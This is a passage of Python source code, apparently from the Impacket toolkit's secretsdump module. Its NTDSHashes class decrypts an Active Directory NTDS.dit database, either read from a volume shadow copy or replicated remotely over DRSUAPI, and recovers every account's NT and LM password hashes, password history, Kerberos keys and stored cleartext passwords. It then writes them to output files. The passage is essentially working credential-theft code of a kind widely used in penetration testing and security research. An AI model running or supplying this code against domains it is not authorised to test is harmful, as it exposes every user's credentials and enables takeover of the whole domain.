1595                self.__resumeFile = open(self.__resumeFileName, 'wb+')
1596            except Exception, e:
1597                raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))
1598
1599    def endTransaction(self):
1600        if self.__resumeFile:
1601            self.__resumeFile.close()
1602            self.__resumeFile = None
1603
1604
1605class NTDSHashes:
1606    class SECRET_TYPE:
1607        NTDS = 0
1608        NTDS_CLEARTEXT = 1
1609        NTDS_KERBEROS = 2
1610
1611    NAME_TO_INTERNAL = {
1612        'uSNCreated':'ATTq131091',
1613        'uSNChanged':'ATTq131192',
1614        'name':'ATTm3',
1615        'objectGUID':'ATTk589826',
1616        'objectSid':'ATTr589970',
1617        'userAccountControl':'ATTj589832',
1618        'primaryGroupID':'ATTj589922',
1619        'accountExpires':'ATTq589983',
1620        'logonCount':'ATTj589993',
1621        'sAMAccountName':'ATTm590045',
1622        'sAMAccountType':'ATTj590126',
1623        'lastLogonTimestamp':'ATTq589876',
1624        'userPrincipalName':'ATTm590480',
1625        'unicodePwd':'ATTk589914',
1626        'dBCSPwd':'ATTk589879',
1627        'ntPwdHistory':'ATTk589918',
1628        'lmPwdHistory':'ATTk589984',
1629        'pekList':'ATTk590689',
1630        'supplementalCredentials':'ATTk589949',
1631        'pwdLastSet':'ATTq589920',
1632    }
1633
1634    NAME_TO_ATTRTYP = {
1635        'userPrincipalName': 0x90290,
1636        'sAMAccountName': 0x900DD,
1637        'unicodePwd': 0x9005A,
1638        'dBCSPwd': 0x90037,
1639        'ntPwdHistory': 0x9005E,
1640        'lmPwdHistory': 0x900A0,
1641        'supplementalCredentials': 0x9007D,
1642        'objectSid': 0x90092,
1643        'userAccountControl':0x90008,
1644    }
1645
1646    ATTRTYP_TO_ATTID = {
1647        'userPrincipalName': '1.2.840.113556.1.4.656',
1648        'sAMAccountName': '1.2.840.113556.1.4.221',
1649        'unicodePwd': '1.2.840.113556.1.4.90',
1650        'dBCSPwd': '1.2.840.113556.1.4.55',
1651        'ntPwdHistory': '1.2.840.113556.1.4.94',
1652        'lmPwdHistory': '1.2.840.113556.1.4.160',
1653        'supplementalCredentials': '1.2.840.113556.1.4.125',
1654        'objectSid': '1.2.840.113556.1.4.146',
1655        'pwdLastSet': '1.2.840.113556.1.4.96',
1656        'userAccountControl':'1.2.840.113556.1.4.8',
1657    }
1658
1659    KERBEROS_TYPE = {
1660        1:'dec-cbc-crc',
1661        3:'des-cbc-md5',
1662        17:'aes128-cts-hmac-sha1-96',
1663        18:'aes256-cts-hmac-sha1-96',
1664        0xffffff74:'rc4_hmac',
1665    }
1666
1667    INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
1668
1669    SAM_NORMAL_USER_ACCOUNT = 0x30000000
1670    SAM_MACHINE_ACCOUNT     = 0x30000001
1671    SAM_TRUST_ACCOUNT       = 0x30000002
1672
1673    ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
1674
1675    class PEKLIST_ENC(Structure):
1676        structure = (
1677            ('Header','8s=""'),
1678            ('KeyMaterial','16s=""'),
1679            ('EncryptedPek',':'),
1680        )
1681
1682    class PEKLIST_PLAIN(Structure):
1683        structure = (
1684            ('Header','32s=""'),
1685            ('DecryptedPek',':'),
1686        )
1687
1688    class PEK_KEY(Structure):
1689        structure = (
1690            ('Header','1s=""'),
1691            ('Padding','3s=""'),
1692            ('Key','16s=""'),
1693        )
1694
1695    class CRYPTED_HASH(Structure):
1696        structure = (
1697            ('Header','8s=""'),
1698            ('KeyMaterial','16s=""'),
1699            ('EncryptedHash','16s=""'),
1700        )
1701
1702    class CRYPTED_HASHW16(Structure):
1703        structure = (
1704            ('Header','8s=""'),
1705            ('KeyMaterial','16s=""'),
1706            ('Unknown','<L=0'),
1707            ('EncryptedHash','32s=""'),
1708        )
1709
1710    class CRYPTED_HISTORY(Structure):
1711        structure = (
1712            ('Header','8s=""'),
1713            ('KeyMaterial','16s=""'),
1714            ('EncryptedHash',':'),
1715        )
1716
1717    class CRYPTED_BLOB(Structure):
1718        structure = (
1719            ('Header','8s=""'),
1720            ('KeyMaterial','16s=""'),
1721            ('EncryptedHash',':'),
1722        )
1723
1724    def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
1725                 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
1726                 justUser=None, printUserStatus=False,
1727                 perSecretCallback = lambda secretType, secret : _print_helper(secret),
1728                 resumeSessionMgr=ResumeSessionMgrInFile):
1729        self.__bootKey = bootKey
1730        self.__NTDS = ntdsFile
1731        self.__history = history
1732        self.__noLMHash = noLMHash
1733        self.__useVSSMethod = useVSSMethod
1734        self.__remoteOps = remoteOps
1735        self.__pwdLastSet = pwdLastSet
1736        self.__printUserStatus = printUserStatus
1737        if self.__NTDS is not None:
1738            self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
1739            self.__cursor = self.__ESEDB.openTable('datatable')
1740        self.__tmpUsers = list()
1741        self.__PEK = list()
1742        self.__cryptoCommon = CryptoCommon()
1743        self.__kerberosKeys = OrderedDict()
1744        self.__clearTextPwds = OrderedDict()
1745        self.__justNTLM = justNTLM
1746        self.__resumeSession = resumeSessionMgr(resumeSession)
1747        self.__outputFileName = outputFileName
1748        self.__justUser = justUser
1749        self.__perSecretCallback = perSecretCallback
1750
1751    def getResumeSessionFile(self):
1752        return self.__resumeSession.getFileName()
1753
1754    def __getPek(self):
1755        LOG.info('Searching for pekList, be patient')
1756        peklist = None
1757        while True:
1758            try:
1759                record = self.__ESEDB.getNextRow(self.__cursor)
1760            except:
1761                LOG.error('Error while calling getNextRow(), trying the next one')
1762                continue
1763
1764            if record is None:
1765                break
1766            elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
1767                peklist =  unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
1768                break
1769            elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
1770                # Okey.. we found some users, but we're not yet ready to process them.
1771                # Let's just store them in a temp list
1772                self.__tmpUsers.append(record)
1773
1774        if peklist is not None:
1775            encryptedPekList = self.PEKLIST_ENC(peklist)
1776            if encryptedPekList['Header'][:4] == '\x02\x00\x00\x00':
1777                # Up to Windows 2012 R2 looks like header starts this way
1778                md5 = hashlib.new('md5')
1779                md5.update(self.__bootKey)
1780                for i in range(1000):
1781                    md5.update(encryptedPekList['KeyMaterial'])
1782                tmpKey = md5.digest()
1783                rc4 = ARC4.new(tmpKey)
1784                decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
1785                PEKLen = len(self.PEK_KEY())
1786                for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
1787                    cursor = i * PEKLen
1788                    pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
1789                    LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
1790                    self.__PEK.append(pek['Key'])
1791
1792            elif encryptedPekList['Header'][:4] == '\x03\x00\x00\x00':
1793                # Windows 2016 TP4 header starts this way
1794                # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
1795                # using AES:
1796                # Key: the bootKey
1797                # CipherText: PEKLIST_ENC['EncryptedPek']
1798                # IV: PEKLIST_ENC['KeyMaterial']
1799                decryptedPekList = self.PEKLIST_PLAIN(
1800                    self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
1801                                                   encryptedPekList['KeyMaterial']))
1802                self.__PEK.append(decryptedPekList['DecryptedPek'][4:][:16])
1803                LOG.info("PEK # 0 found and decrypted: %s", hexlify(decryptedPekList['DecryptedPek'][4:][:16]))
1804
1805    def __removeRC4Layer(self, cryptedHash):
1806        md5 = hashlib.new('md5')
1807        # PEK index can be found on header of each ciphered blob (pos 8-10)
1808        pekIndex = hexlify(cryptedHash['Header'])
1809        md5.update(self.__PEK[int(pekIndex[8:10])])
1810        md5.update(cryptedHash['KeyMaterial'])
1811        tmpKey = md5.digest()
1812        rc4 = ARC4.new(tmpKey)
1813        plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
1814
1815        return plainText
1816
1817    def __removeDESLayer(self, cryptedHash, rid):
1818        Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
1819
1820        Crypt1 = DES.new(Key1, DES.MODE_ECB)
1821        Crypt2 = DES.new(Key2, DES.MODE_ECB)
1822
1823        decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
1824
1825        return decryptedHash
1826
1827    @staticmethod
1828    def __fileTimeToDateTime(t):
1829        t -= 116444736000000000
1830        t /= 10000000
1831        if t < 0:
1832            return 'never'
1833        else:
1834            dt = datetime.fromtimestamp(t)
1835            return dt.strftime("%Y-%m-%d %H:%M")
1836
1837    def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
1838        # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
1839        haveInfo = False
1840        LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
1841        if self.__useVSSMethod is True:
1842            if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
1843                if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
1844                    if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
1845                        domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
1846                        userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
1847                    else:
1848                        userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
1849                    cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
1850
1851                    if cipherText['Header'][:4] == '\x13\x00\x00\x00':
1852                        # Win2016 TP4 decryption is different
1853                        pekIndex = hexlify(cipherText['Header'])
1854                        plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
1855                                                                   cipherText['EncryptedHash'][4:],
1856                                                                   cipherText['KeyMaterial'])
1857                        haveInfo = True
1858                    else:
1859                        plainText = self.__removeRC4Layer(cipherText)
1860                        haveInfo = True
1861        else:
1862            domain = None
1863            userName = None
1864            replyVersion = 'V%d' % record['pdwOutVersion']
1865            for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
1866                try:
1867                    attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
1868                    LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
1869                except Exception, e:
1870                    LOG.debug('Failed to execute OidFromAttid with error %s' % e)
1871                    # Fallbacking to fixed table and hope for the best
1872                    attId = attr['attrTyp']
1873                    LOOKUP_TABLE = self.NAME_TO_ATTRTYP
1874
1875                if attId == LOOKUP_TABLE['userPrincipalName']:
1876                    if attr['AttrVal']['valCount'] > 0:
1877                        try:
1878                            domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
1879                        except:
1880                            domain = None
1881                    else:
1882                        domain = None
1883                elif attId == LOOKUP_TABLE['sAMAccountName']:
1884                    if attr['AttrVal']['valCount'] > 0:
1885                        try:
1886                            userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
1887                        except:
1888                            LOG.error(
1889                                'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1890                            userName = 'unknown'
1891                    else:
1892                        LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1893                        userName = 'unknown'
1894                if attId == LOOKUP_TABLE['supplementalCredentials']:
1895                    if attr['AttrVal']['valCount'] > 0:
1896                        blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
1897                        plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
1898                        if len(plainText) > 24:
1899                            haveInfo = True
1900            if domain is not None:
1901                userName = '%s\\%s' % (domain, userName)
1902
1903        if haveInfo is True:
1904            try:
1905                userProperties = samr.USER_PROPERTIES(plainText)
1906            except:
1907                # On some old w2k3 there might be user properties that don't
1908                # match [MS-SAMR] structure, discarding them
1909                return
1910            propertiesData = userProperties['UserProperties']
1911            for propertyCount in range(userProperties['PropertyCount']):
1912                userProperty = samr.USER_PROPERTY(propertiesData)
1913                propertiesData = propertiesData[len(userProperty):]
1914                # For now, we will only process Newer Kerberos Keys and CLEARTEXT
1915                if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
1916                    propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
1917                    kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
1918                    data = kerbStoredCredentialNew['Buffer']
1919                    for credential in range(kerbStoredCredentialNew['CredentialCount']):
1920                        keyDataNew = samr.KERB_KEY_DATA_NEW(data)
1921                        data = data[len(keyDataNew):]
1922                        keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
1923
1924                        if  self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
1925                            answer =  "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
1926                        else:
1927                            answer =  "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
1928                        # We're just storing the keys, not printing them, to make the output more readable
1929                        # This is kind of ugly... but it's what I came up with tonight to get an ordered
1930                        # set :P. Better ideas welcomed ;)
1931                        self.__kerberosKeys[answer] = None
1932                        if keysFile is not None:
1933                            self.__writeOutput(keysFile, answer + '\n')
1934                elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
1935                    # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
1936                    # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
1937                    try:
1938                        answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
1939                    except UnicodeDecodeError:
1940                        # This could be because we're decoding a machine password. Printing it hex
1941                        answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'])
1942
1943                    self.__clearTextPwds[answer] = None
1944                    if clearTextFile is not None:
1945                        self.__writeOutput(clearTextFile, answer + '\n')
1946
1947            if clearTextFile is not None:
1948                clearTextFile.flush()
1949            if keysFile is not None:
1950                keysFile.flush()
1951
1952        LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
1953
1954    def __decryptHash(self, record, prefixTable=None, outputFile=None):
1955        LOG.debug('Entering NTDSHashes.__decryptHash')
1956        if self.__useVSSMethod is True:
1957            LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
1958
1959            sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
1960            rid = sid.formatCanonical().split('-')[-1]
1961
1962            if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
1963                encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
1964                tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
1965                LMHash = self.__removeDESLayer(tmpLMHash, rid)
1966            else:
1967                LMHash = ntlm.LMOWFv1('', '')
1968
1969            if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
1970                encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
1971                if encryptedNTHash['Header'][:4] == '\x13\x00\x00\x00':
1972                    # Win2016 TP4 decryption is different
1973                    encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
1974                    pekIndex = hexlify(encryptedNTHash['Header'])
1975                    tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
1976                                                               encryptedNTHash['EncryptedHash'][:16],
1977                                                               encryptedNTHash['KeyMaterial'])
1978                else:
1979                    tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
1980                NTHash = self.__removeDESLayer(tmpNTHash, rid)
1981            else:
1982                NTHash = ntlm.NTOWFv1('', '')
1983
1984            if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
1985                domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
1986                userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
1987            else:
1988                userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
1989
1990            if self.__printUserStatus is True:
1991                # Enabled / disabled users
1992                if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
1993                    if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
1994                        userAccountStatus = 'Disabled'
1995                    elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
1996                        userAccountStatus = 'Enabled'
1997                else:
1998                    userAccountStatus = 'N/A'
1999
2000            if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
2001                pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
2002            else:
2003                pwdLastSet = 'N/A'
2004
2005            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
2006            if self.__pwdLastSet is True:
2007                answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
2008            if self.__printUserStatus is True:
2009                answer = "%s (status=%s)" % (answer, userAccountStatus)
2010
2011            self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2012
2013            if outputFile is not None:
2014                self.__writeOutput(outputFile, answer + '\n')
2015
2016            if self.__history:
2017                LMHistory = []
2018                NTHistory = []
2019                if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
2020                    encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
2021                    tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
2022                    for i in range(0, len(tmpLMHistory) / 16):
2023                        LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
2024                        LMHistory.append(LMHash)
2025
2026                if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
2027                    encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
2028
2029                    if encryptedNTHistory['Header'][:4] == '\x13\x00\x00\x00':
2030                        # Win2016 TP4 decryption is different
2031                        pekIndex = hexlify(encryptedNTHistory['Header'])
2032                        tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
2033                                                                      encryptedNTHistory['EncryptedHash'],
2034                                                                      encryptedNTHistory['KeyMaterial'])
2035                    else:
2036                        tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
2037
2038                    for i in range(0, len(tmpNTHistory) / 16):
2039                        NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
2040                        NTHistory.append(NTHash)
2041
2042                for i, (LMHash, NTHash) in enumerate(
2043                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
2044                    if self.__noLMHash:
2045                        lmhash = hexlify(ntlm.LMOWFv1('', ''))
2046                    else:
2047                        lmhash = hexlify(LMHash)
2048
2049                    answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
2050                    if outputFile is not None:
2051                        self.__writeOutput(outputFile, answer + '\n')
2052                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2053        else:
2054            replyVersion = 'V%d' %record['pdwOutVersion']
2055            LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2056            domain = None
2057            if self.__history:
2058                LMHistory = []
2059                NTHistory = []
2060
2061            rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]
2062
2063            for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
2064                try:
2065                    attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
2066                    LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
2067                except Exception, e:
2068                    LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
2069                    # Fallbacking to fixed table and hope for the best
2070                    attId = attr['attrTyp']
2071                    LOOKUP_TABLE = self.NAME_TO_ATTRTYP
2072
2073                if attId == LOOKUP_TABLE['dBCSPwd']:
2074                    if attr['AttrVal']['valCount'] > 0:
2075                        encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2076                        encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
2077                        LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
2078                    else:
2079                        LMHash = ntlm.LMOWFv1('', '')
2080                elif attId == LOOKUP_TABLE['unicodePwd']:
2081                    if attr['AttrVal']['valCount'] > 0:
2082                        encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2083                        encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
2084                        NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
2085                    else:
2086                        NTHash = ntlm.NTOWFv1('', '')
2087                elif attId == LOOKUP_TABLE['userPrincipalName']:
2088                    if attr['AttrVal']['valCount'] > 0:
2089                        try:
2090                            domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
2091                        except:
2092                            domain = None
2093                    else:
2094                        domain = None
2095                elif attId == LOOKUP_TABLE['sAMAccountName']:
2096                    if attr['AttrVal']['valCount'] > 0:
2097                        try:
2098                            userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
2099                        except:
2100                            LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2101                            userName = 'unknown'
2102                    else:
2103                        LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2104                        userName = 'unknown'
2105                elif attId == LOOKUP_TABLE['objectSid']:
2106                    if attr['AttrVal']['valCount'] > 0:
2107                        objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2108                    else:
2109                        LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2110                        objectSid = rid
2111                elif attId == LOOKUP_TABLE['pwdLastSet']:
2112                    if attr['AttrVal']['valCount'] > 0:
2113                        try:
2114                            pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
2115                        except:
2116                            LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2117                            pwdLastSet = 'N/A'
2118                elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:
2119                    if attr['AttrVal']['valCount'] > 0:
2120                        if (unpack('<L', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:
2121                            userAccountStatus = 'Disabled'
2122                        else:
2123                            userAccountStatus = 'Enabled'
2124                    else:
2125                        userAccountStatus = 'N/A'
2126
2127                if self.__history:
2128                    if attId == LOOKUP_TABLE['lmPwdHistory']:
2129                        if attr['AttrVal']['valCount'] > 0:
2130                            encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2131                            tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
2132                            for i in range(0, len(tmpLMHistory) / 16):
2133                                LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
2134                                LMHistory.append(LMHashHistory)
2135                        else:
2136                            LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2137                    elif attId == LOOKUP_TABLE['ntPwdHistory']:
2138                        if attr['AttrVal']['valCount'] > 0:
2139                            encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2140                            tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
2141                            for i in range(0, len(tmpNTHistory) / 16):
2142                                NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
2143                                NTHistory.append(NTHashHistory)
2144                        else:
2145                            LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2146
2147            if domain is not None:
2148                userName = '%s\\%s' % (domain, userName)
2149
2150            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
2151            if self.__pwdLastSet is True:
2152                answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
2153            if self.__printUserStatus is True:
2154                answer = "%s (status=%s)" % (answer, userAccountStatus)
2155            self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2156
2157            if outputFile is not None:
2158                self.__writeOutput(outputFile, answer + '\n')
2159
2160            if self.__history:
2161                for i, (LMHashHistory, NTHashHistory) in enumerate(
2162                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
2163                    if self.__noLMHash:
2164                        lmhash = hexlify(ntlm.LMOWFv1('', ''))
2165                    else:
2166                        lmhash = hexlify(LMHashHistory)
2167
2168                    answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
2169                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2170                    if outputFile is not None:
2171                        self.__writeOutput(outputFile, answer + '\n')
2172
2173        if outputFile is not None:
2174            outputFile.flush()
2175
2176        LOG.debug('Leaving NTDSHashes.__decryptHash')
2177
2178    def dump(self):
2179        hashesOutputFile = None
2180        keysOutputFile = None
2181        clearTextOutputFile = None
2182
2183        if self.__useVSSMethod is True:
2184            if self.__NTDS is None:
2185                # No NTDS.dit file provided and were asked to use VSS
2186                return
2187        else:
2188            if self.__NTDS is None:
2189                # DRSUAPI method, checking whether target is a DC
2190                try:
2191                    if self.__remoteOps is not None:
2192                        try:
2193                            self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
2194                        except:
2195                            if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:
2196                                # RemoteOperations failed. That might be because there was no way to log into the
2197                                # target system. We just have a last resort. Hope we have tickets cached and that they
2198                                # will work
2199                                pass
2200                            else:
2201                                raise
2202                    else:
2203                        raise Exception('No remote Operations available')
2204                except Exception, e:
2205                    LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
2206                    # Target's not a DC
2207                    return
2208
2209        try:
2210            # Let's check if we need to save results in a file
2211            if self.__outputFileName is not None:
2212                LOG.debug('Saving output to %s' % self.__outputFileName)
2213                # We have to export. Are we resuming a session?
2214                if self.__resumeSession.hasResumeData():
2215                    mode = 'a+'
2216                else:
2217                    mode = 'w+'
2218                hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
2219                if self.__justNTLM is False:
2220                    keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
2221                    clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
2222
2223            LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
2224            if self.__useVSSMethod:
2225                # We start getting rows from the table aiming at reaching
2226                # the pekList. If we find users records we stored them
2227                # in a temp list for later process.
2228                self.__getPek()
2229                if self.__PEK is not None:
2230                    LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
2231                    # First of all, if we have users already cached, let's decrypt their hashes
2232                    for record in self.__tmpUsers:
2233                        try:
2234                            self.__decryptHash(record, outputFile=hashesOutputFile)
2235                            if self.__justNTLM is False:
2236                                self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
2237                        except Exception, e:
2238                            if LOG.level == logging.DEBUG:
2239                                import traceback
2240                                traceback.print_exc()
2241                            try:
2242                                LOG.error(
2243                                    "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
2244                                LOG.error(str(e))
2245                                pass
2246                            except:
2247                                LOG.error("Error while processing row!")
2248                                LOG.error(str(e))
2249                                pass
2250
2251                    # Now let's keep moving through the NTDS file and decrypting what we find
2252                    while True:
2253                        try:
2254                            record = self.__ESEDB.getNextRow(self.__cursor)
2255                        except:
2256                            LOG.error('Error while calling getNextRow(), trying the next one')
2257                            continue
2258
2259                        if record is None:
2260                            break
2261                        try:
2262                            if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
2263                                self.__decryptHash(record, outputFile=hashesOutputFile)
2264                                if self.__justNTLM is False:
2265                                    self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
2266                        except Exception, e:
2267                            if LOG.level == logging.DEBUG:
2268                                import traceback
2269                                traceback.print_exc()
2270                            try:
2271                                LOG.error(
2272                                    "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
2273                                LOG.error(str(e))
2274                                pass
2275                            except:
2276                                LOG.error("Error while processing row!")
2277                                LOG.error(str(e))
2278                                pass
2279            else:
2280                LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
